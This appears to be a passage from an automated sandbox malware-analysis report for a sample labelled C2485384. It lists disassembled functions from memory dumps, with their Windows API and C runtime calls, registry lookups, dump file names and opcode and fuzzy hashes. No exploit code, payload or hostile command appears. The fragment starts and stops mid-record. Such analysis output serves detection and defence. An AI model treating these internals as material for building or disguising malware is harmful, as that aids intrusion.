GetLastError.KERNEL32(?,?,6251184E,?), ref: 62517405

Part of subcall function 62515EF0: CreateFileA.KERNEL32(?,C0000000,00000000,00000000,00000003,00000080,00000000,?,00000000,?,625173EF,?,?,6251184E,?), ref: 62515F05
Part of subcall function 62515EF0: GetFileSize.KERNEL32(00000000,?,?,625173EF,?,?,6251184E,?), ref: 62515F1B
Part of subcall function 62515EF0: CloseHandle.KERNEL32(00000000,?,625173EF,?,?,6251184E,?), ref: 62515F3D

Memory Dump Source

Source File: 00000011.00000002.3958944906.0000000062511000.00000020.00000001.01000000.00000017.sdmp, Offset: 62510000, based on PE: true

Associated: 00000011.00000002.3958893721.0000000062510000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960354144.000000006256A000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960696702.000000006257D000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960696702.0000000062581000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960696702.0000000062586000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960955792.0000000062588000.00000020.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3961187123.0000000062594000.00000080.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962215979.00000000625D4000.00000040.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962309518.00000000625D5000.00000080.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962434111.00000000625DA000.00000040.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962492160.00000000625DB000.00000080.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962747037.00000000625EA000.00000040.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962828385.00000000625EB000.00000080.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962924538.00000000625EC000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_62510000_C2485384.jbxd

Similarity

API ID: File$CloseCreateDeleteErrorHandleLastSize_strrchr
String ID:
API String ID: 364315698-0
Opcode ID: 4e1a3f47aa00dc4fab1cb8a56b401d8d2b1f740371a8426b2d8833e50534586f
Instruction ID: bb2d975249641bd0f1716f02c19fa78b934789b90681f60a5720d6fc2b7155e9
Opcode Fuzzy Hash: 4e1a3f47aa00dc4fab1cb8a56b401d8d2b1f740371a8426b2d8833e50534586f
Instruction Fuzzy Hash: 09E03032F5D13103E632223DF83C3AEAAB59FC17A5B161561FC00DB150EB68CC4241D2

Function 6254EE7F Relevance: 3.0, APIs: 2, Instructions: 19COMMON

Download Yara Rule

APIs

__getptd.LIBCMT ref: 6254EE8B

Part of subcall function 62557833: __getptd_noexit.LIBCMT ref: 62557836
Part of subcall function 62557833: __amsg_exit.LIBCMT ref: 62557843

Part of subcall function 6254EE36: __IsNonwritableInCurrentImage.LIBCMT ref: 6254EE45
Part of subcall function 6254EE36: __getptd_noexit.LIBCMT ref: 6254EE55
Part of subcall function 6254EE36: CloseHandle.KERNEL32(?,?,6254EEA0), ref: 6254EE69
Part of subcall function 6254EE36: __freeptd.LIBCMT ref: 6254EE70
Part of subcall function 6254EE36: ExitThread.KERNEL32 ref: 6254EE78

__XcptFilter.LIBCMT ref: 6254EEAC

Part of subcall function 62558C6E: __getptd_noexit.LIBCMT ref: 62558C76

Memory Dump Source

Source File: 00000011.00000002.3958944906.0000000062511000.00000020.00000001.01000000.00000017.sdmp, Offset: 62510000, based on PE: true

Associated: 00000011.00000002.3958893721.0000000062510000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960354144.000000006256A000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960696702.000000006257D000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960696702.0000000062581000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960696702.0000000062586000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960955792.0000000062588000.00000020.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3961187123.0000000062594000.00000080.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962215979.00000000625D4000.00000040.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962309518.00000000625D5000.00000080.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962434111.00000000625DA000.00000040.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962492160.00000000625DB000.00000080.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962747037.00000000625EA000.00000040.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962828385.00000000625EB000.00000080.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962924538.00000000625EC000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_62510000_C2485384.jbxd

Similarity

API ID: __getptd_noexit$CloseCurrentExitFilterHandleImageNonwritableThreadXcpt__amsg_exit__freeptd__getptd
String ID:
API String ID: 3737419996-0
Opcode ID: b0eace3396f9040d169e2d9d79aad0402affcb803120596a490076ba20ea7b75
Instruction ID: c287b689e719ded93a09624d79741ab3301cec45e141df364b1bd69ce1d4d876
Opcode Fuzzy Hash: b0eace3396f9040d169e2d9d79aad0402affcb803120596a490076ba20ea7b75
Instruction Fuzzy Hash: 4FE0EC71501601DFE738DBA4C968E6D7761EF84715F20109AE1026B2A1CF35AD50DA11

Function 6255C350 Relevance: 3.0, APIs: 2, Instructions: 18COMMONLIBRARYCODE

Download Yara Rule

APIs

__lock.LIBCMT ref: 6255C368

Part of subcall function 62557D5D: __mtinitlocknum.LIBCMT ref: 62557D73
Part of subcall function 62557D5D: __amsg_exit.LIBCMT ref: 62557D7F
Part of subcall function 62557D5D: EnterCriticalSection.KERNEL32(?,?,?,62561AC7,00000004,62579288,0000000C,62558E49,?,?,00000000,00000000,00000000,?,625577E5,00000001), ref: 62557D87

__tzset_nolock.LIBCMT ref: 6255C379

Part of subcall function 6255BC3B: __lock.LIBCMT ref: 6255BC5D
Part of subcall function 6255BC3B: __get_daylight.LIBCMT ref: 6255BC72
Part of subcall function 6255BC3B: __invoke_watson.LIBCMT ref: 6255BC81
Part of subcall function 6255BC3B: __get_daylight.LIBCMT ref: 6255BC8D
Part of subcall function 6255BC3B: __invoke_watson.LIBCMT ref: 6255BC9C
Part of subcall function 6255BC3B: __get_daylight.LIBCMT ref: 6255BCA8
Part of subcall function 6255BC3B: __invoke_watson.LIBCMT ref: 6255BCB7
Part of subcall function 6255BC3B: ____lc_codepage_func.LIBCMT ref: 6255BCBF
Part of subcall function 6255BC3B: __getenv_helper_nolock.LIBCMT ref: 6255BCE1
Part of subcall function 6255BC3B: _strlen.LIBCMT ref: 6255BD1F
Part of subcall function 6255BC3B: __malloc_crt.LIBCMT ref: 6255BD26
Part of subcall function 6255BC3B: _strlen.LIBCMT ref: 6255BD3C

Memory Dump Source

Source File: 00000011.00000002.3958944906.0000000062511000.00000020.00000001.01000000.00000017.sdmp, Offset: 62510000, based on PE: true

Associated: 00000011.00000002.3958893721.0000000062510000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960354144.000000006256A000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960696702.000000006257D000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960696702.0000000062581000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960696702.0000000062586000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960955792.0000000062588000.00000020.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3961187123.0000000062594000.00000080.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962215979.00000000625D4000.00000040.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962309518.00000000625D5000.00000080.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962434111.00000000625DA000.00000040.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962492160.00000000625DB000.00000080.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962747037.00000000625EA000.00000040.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962828385.00000000625EB000.00000080.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962924538.00000000625EC000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_62510000_C2485384.jbxd

Similarity

API ID: __get_daylight__invoke_watson$__lock_strlen$CriticalEnterSection____lc_codepage_func__amsg_exit__getenv_helper_nolock__malloc_crt__mtinitlocknum__tzset_nolock
String ID:
API String ID: 4157481694-0
Opcode ID: 2bf50e611c040c947f648af3c3af746f84b4dab7d1681e5c7c15b2190081daf0
Instruction ID: 945546334e8bb745173f02ec50ebd389dd9694618312a16c9ff1b14c2a909295
Opcode Fuzzy Hash: 2bf50e611c040c947f648af3c3af746f84b4dab7d1681e5c7c15b2190081daf0
Instruction Fuzzy Hash: 73E0EC708D1A64D7C631AFB18828A0C7A30AB86B26F52A257ED54794C0CF740D61CA99

Function 0BB82590 Relevance: 1.6, APIs: 1, Instructions: 96COMMON

Download Yara Rule

APIs

VariantInit.OLEAUT32(?), ref: 0BB825D0

Memory Dump Source

Source File: 00000011.00000002.3812094055.000000000BB71000.00000020.00000001.01000000.00000011.sdmp, Offset: 0BB70000, based on PE: true

Associated: 00000011.00000002.3812056800.000000000BB70000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3813718039.000000000BBD8000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3813718039.000000000BBE1000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3813923280.000000000BBE4000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3813965926.000000000BBE5000.00000020.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3816678851.000000000BC93000.00000080.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3816743352.000000000BC95000.00000040.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3816795626.000000000BC96000.00000080.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3816852114.000000000BC97000.00000040.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3816895616.000000000BC98000.00000080.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3817829222.000000000BCD6000.00000040.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3817909668.000000000BCD7000.00000080.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3820238314.000000000BD81000.00000040.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3820299762.000000000BD83000.00000080.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3820412054.000000000BD89000.00000040.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3820551344.000000000BD8C000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_bb70000_C2485384.jbxd

Similarity

API ID: InitVariant
String ID:
API String ID: 1927566239-0
Opcode ID: b0d3cb14ee33ea197d02eea60d074db4a77016768614d4a423531ac7f8495be2
Instruction ID: b64247bac5891e260e0edc2f4df02b15bbedc13da04abfc30ef440e4e4c3b860
Opcode Fuzzy Hash: b0d3cb14ee33ea197d02eea60d074db4a77016768614d4a423531ac7f8495be2
Instruction Fuzzy Hash: 76314CB2A04209AFDF14EFA8C995AAE77F8FB08300F4545E1ED14D3250E735EA51CBA1

Function 62550AEC Relevance: 1.5, APIs: 1, Instructions: 40COMMON

Download Yara Rule

APIs

__lock_file.LIBCMT ref: 62550B33

Part of subcall function 62552DCA: __getptd_noexit.LIBCMT ref: 62552DCA

Part of subcall function 625524F4: __decode_pointer.LIBCMT ref: 625524FF

Memory Dump Source

Source File: 00000011.00000002.3958944906.0000000062511000.00000020.00000001.01000000.00000017.sdmp, Offset: 62510000, based on PE: true

Associated: 00000011.00000002.3958893721.0000000062510000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960354144.000000006256A000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960696702.000000006257D000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960696702.0000000062581000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960696702.0000000062586000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960955792.0000000062588000.00000020.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3961187123.0000000062594000.00000080.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962215979.00000000625D4000.00000040.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962309518.00000000625D5000.00000080.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962434111.00000000625DA000.00000040.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962492160.00000000625DB000.00000080.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962747037.00000000625EA000.00000040.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962828385.00000000625EB000.00000080.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962924538.00000000625EC000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_62510000_C2485384.jbxd

Similarity

API ID: __decode_pointer__getptd_noexit__lock_file
String ID:
API String ID: 3158947991-0
Opcode ID: b808be9cd34b64a8981b8ac4c7dfb282a6f4c3dcef372a9351e4c92aff130e3f
Instruction ID: 85dca0e8a352c6378c21a194d768a01e7cf029f7250cc46b655968a3e05d2c75
Opcode Fuzzy Hash: b808be9cd34b64a8981b8ac4c7dfb282a6f4c3dcef372a9351e4c92aff130e3f
Instruction Fuzzy Hash: 09F08C71C0161AEBDF31AFB4C82059E3B60AF4872CF009917F81476150EB348E71DB92

Function 0BB7B920 Relevance: 1.5, APIs: 1, Instructions: 33fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(00000000,?,?,00000000,00000003,00000080,00000000), ref: 0BB7B96E

Memory Dump Source

Source File: 00000011.00000002.3812094055.000000000BB71000.00000020.00000001.01000000.00000011.sdmp, Offset: 0BB70000, based on PE: true

Associated: 00000011.00000002.3812056800.000000000BB70000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3813718039.000000000BBD8000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3813718039.000000000BBE1000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3813923280.000000000BBE4000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3813965926.000000000BBE5000.00000020.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3816678851.000000000BC93000.00000080.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3816743352.000000000BC95000.00000040.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3816795626.000000000BC96000.00000080.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3816852114.000000000BC97000.00000040.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3816895616.000000000BC98000.00000080.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3817829222.000000000BCD6000.00000040.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3817909668.000000000BCD7000.00000080.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3820238314.000000000BD81000.00000040.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3820299762.000000000BD83000.00000080.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3820412054.000000000BD89000.00000040.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3820551344.000000000BD8C000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_bb70000_C2485384.jbxd

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: a900125177fda9ef1ded8e05435333bf80872ff159e9d82dbab156334bc54c73
Instruction ID: 8e0c52b3f24a81845a3ceb18cd22e42bc8e50b91ee9aff99a8c1187379de2260
Opcode Fuzzy Hash: a900125177fda9ef1ded8e05435333bf80872ff159e9d82dbab156334bc54c73
Instruction Fuzzy Hash: 4FE092A27E05142BF270B9AD9CD3F5F518EC7C66A6F190272F174EB2C0C4ADDD0296A4

Function 0BB7B9FC Relevance: 1.5, APIs: 1, Instructions: 27COMMON

Download Yara Rule

APIs

SetFilePointer.KERNEL32(?,?,?), ref: 0BB7BA1E

Memory Dump Source

Source File: 00000011.00000002.3812094055.000000000BB71000.00000020.00000001.01000000.00000011.sdmp, Offset: 0BB70000, based on PE: true

Associated: 00000011.00000002.3812056800.000000000BB70000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3813718039.000000000BBD8000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3813718039.000000000BBE1000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3813923280.000000000BBE4000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3813965926.000000000BBE5000.00000020.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3816678851.000000000BC93000.00000080.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3816743352.000000000BC95000.00000040.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3816795626.000000000BC96000.00000080.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3816852114.000000000BC97000.00000040.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3816895616.000000000BC98000.00000080.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3817829222.000000000BCD6000.00000040.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3817909668.000000000BCD7000.00000080.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3820238314.000000000BD81000.00000040.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3820299762.000000000BD83000.00000080.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3820412054.000000000BD89000.00000040.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3820551344.000000000BD8C000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_bb70000_C2485384.jbxd

Similarity

API ID: FilePointer
String ID:
API String ID: 973152223-0
Opcode ID: c0ae6ffc98b35ec06533d1097e51c2f42ef2c94053b7616d61686651cbc72185
Instruction ID: 9d19ec74fca9d800c9ba2f475c75df68fa91e899db6557498f34eb838ea6a632
Opcode Fuzzy Hash: c0ae6ffc98b35ec06533d1097e51c2f42ef2c94053b7616d61686651cbc72185
Instruction Fuzzy Hash: 59E0757690521CBF9B40DE9CD8C1DDEB7FCEB49220F204166E958E3340E631AF409B54

Function 62540164 Relevance: 1.5, APIs: 1, Instructions: 26COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.3958944906.0000000062511000.00000020.00000001.01000000.00000017.sdmp, Offset: 62510000, based on PE: true

Associated: 00000011.00000002.3958893721.0000000062510000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960354144.000000006256A000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960696702.000000006257D000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960696702.0000000062581000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960696702.0000000062586000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960955792.0000000062588000.00000020.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3961187123.0000000062594000.00000080.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962215979.00000000625D4000.00000040.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962309518.00000000625D5000.00000080.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962434111.00000000625DA000.00000040.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962492160.00000000625DB000.00000080.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962747037.00000000625EA000.00000040.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962828385.00000000625EB000.00000080.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962924538.00000000625EC000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_62510000_C2485384.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b104c9b5cf69909b1eb2b406f17107e8b73a4fb00ae24300f39b480a46001236
Instruction ID: fb7ab2ab5407b8c0fa6087f9894a0bc13f693211e9dc7d27c9ff0f35a84d0552
Opcode Fuzzy Hash: b104c9b5cf69909b1eb2b406f17107e8b73a4fb00ae24300f39b480a46001236
Instruction Fuzzy Hash: D9E04F76054215ABCB388D7C9C207DABBE85B63370B307B2BE574C31D0DA318586EB91

Function 0BB76170 Relevance: 1.5, APIs: 1, Instructions: 26COMMON

Download Yara Rule

APIs

GetModuleFileNameA.KERNEL32(0BB70000,?,00000105), ref: 0BB7618E

Part of subcall function 0BB76404: GetModuleFileNameA.KERNEL32(00000000,?,00000105,0BBD80AC), ref: 0BB7641F
Part of subcall function 0BB76404: RegOpenKeyExA.ADVAPI32(80000001,Software\Borland\Locales,00000000,000F0019,?,00000000,?,00000105,0BBD80AC), ref: 0BB7643D
Part of subcall function 0BB76404: RegOpenKeyExA.ADVAPI32(80000002,Software\Borland\Locales,00000000,000F0019,?,80000001,Software\Borland\Locales,00000000,000F0019,?,00000000,?,00000105,0BBD80AC), ref: 0BB7645B
Part of subcall function 0BB76404: RegOpenKeyExA.ADVAPI32(80000001,Software\Borland\Delphi\Locales,00000000,000F0019,?,80000002,Software\Borland\Locales,00000000,000F0019,?,80000001,Software\Borland\Locales,00000000,000F0019,?,00000000), ref: 0BB76479
Part of subcall function 0BB76404: RegQueryValueExA.ADVAPI32(?,?,00000000,00000000,?,?,00000000,0BB76508,?,80000001,Software\Borland\Locales,00000000,000F0019,?,00000000,?), ref: 0BB764C2
Part of subcall function 0BB76404: RegQueryValueExA.ADVAPI32(?,0BB76684,00000000,00000000,?,?,?,?,00000000,00000000,?,?,00000000,0BB76508,?,80000001), ref: 0BB764E0
Part of subcall function 0BB76404: RegCloseKey.ADVAPI32(?,0BB7650F,00000000,?,?,00000000,0BB76508,?,80000001,Software\Borland\Locales,00000000,000F0019,?,00000000,?,00000105), ref: 0BB76502

Memory Dump Source

Source File: 00000011.00000002.3812094055.000000000BB71000.00000020.00000001.01000000.00000011.sdmp, Offset: 0BB70000, based on PE: true

Associated: 00000011.00000002.3812056800.000000000BB70000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3813718039.000000000BBD8000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3813718039.000000000BBE1000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3813923280.000000000BBE4000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3813965926.000000000BBE5000.00000020.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3816678851.000000000BC93000.00000080.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3816743352.000000000BC95000.00000040.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3816795626.000000000BC96000.00000080.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3816852114.000000000BC97000.00000040.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3816895616.000000000BC98000.00000080.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3817829222.000000000BCD6000.00000040.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3817909668.000000000BCD7000.00000080.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3820238314.000000000BD81000.00000040.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3820299762.000000000BD83000.00000080.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3820412054.000000000BD89000.00000040.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3820551344.000000000BD8C000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_bb70000_C2485384.jbxd

Similarity

API ID: Open$FileModuleNameQueryValue$Close
String ID:
API String ID: 2796650324-0
Opcode ID: 625707c7a7bcf0b33a4968531f11949b8533d4f282da037fcc6bb0f6f5a33390
Instruction ID: 34fb82a35f7c02b9e23b746d5c65b29b4548ffc1f92697527aaf6e2739efa982
Opcode Fuzzy Hash: 625707c7a7bcf0b33a4968531f11949b8533d4f282da037fcc6bb0f6f5a33390
Instruction Fuzzy Hash: 50E06D71A406108FDF10EE9CC8C5A4233D8AF08750F000991EC65CF246D370D91487E0

Function 6253F32B Relevance: 1.5, APIs: 1, Instructions: 23COMMONLIBRARYCODE

Download Yara Rule

APIs

_malloc.LIBCMT ref: 6253F349

Part of subcall function 6254ED6C: __FF_MSGBANNER.LIBCMT ref: 6254ED8F
Part of subcall function 6254ED6C: __NMSG_WRITE.LIBCMT ref: 6254ED96
Part of subcall function 6254ED6C: HeapAlloc.KERNEL32(00000000,?,00000001,00000000,00000000,?,62558DFF,?,00000001,?,?,62557CE7,00000018,62578F08,0000000C,62557D78), ref: 6254EDE3

Memory Dump Source

Source File: 00000011.00000002.3958944906.0000000062511000.00000020.00000001.01000000.00000017.sdmp, Offset: 62510000, based on PE: true

Associated: 00000011.00000002.3958893721.0000000062510000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960354144.000000006256A000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960696702.000000006257D000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960696702.0000000062581000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960696702.0000000062586000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960955792.0000000062588000.00000020.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3961187123.0000000062594000.00000080.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962215979.00000000625D4000.00000040.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962309518.00000000625D5000.00000080.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962434111.00000000625DA000.00000040.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962492160.00000000625DB000.00000080.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962747037.00000000625EA000.00000040.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962828385.00000000625EB000.00000080.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962924538.00000000625EC000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_62510000_C2485384.jbxd

Similarity

API ID: AllocHeap_malloc
String ID:
API String ID: 3293231637-0
Opcode ID: 9ed9c5498f0840b121ef91e56036c095305ad0234d7fc8e2ca74bcee5ab4170b
Instruction ID: 861bf05bfdd8e1dd9151cb5c2480b3535068e3631a2cbfc6fa4b2eac68021aae
Opcode Fuzzy Hash: 9ed9c5498f0840b121ef91e56036c095305ad0234d7fc8e2ca74bcee5ab4170b
Instruction Fuzzy Hash: 3FD0C732284136276B3289A9DC20A5ABB589F82AA83042032AD18DB100FB20DE0282C0

Function 6255A608 Relevance: 1.5, APIs: 1, Instructions: 23COMMONLIBRARYCODE

Download Yara Rule

APIs

__flsbuf.LIBCMT ref: 6255A629

Part of subcall function 62558F1F: __fileno.LIBCMT ref: 62558F2A

Memory Dump Source

Source File: 00000011.00000002.3958944906.0000000062511000.00000020.00000001.01000000.00000017.sdmp, Offset: 62510000, based on PE: true

Associated: 00000011.00000002.3958893721.0000000062510000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960354144.000000006256A000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960696702.000000006257D000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960696702.0000000062581000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960696702.0000000062586000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960955792.0000000062588000.00000020.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3961187123.0000000062594000.00000080.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962215979.00000000625D4000.00000040.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962309518.00000000625D5000.00000080.00000001.01000000.00000017.sdmpDownload File
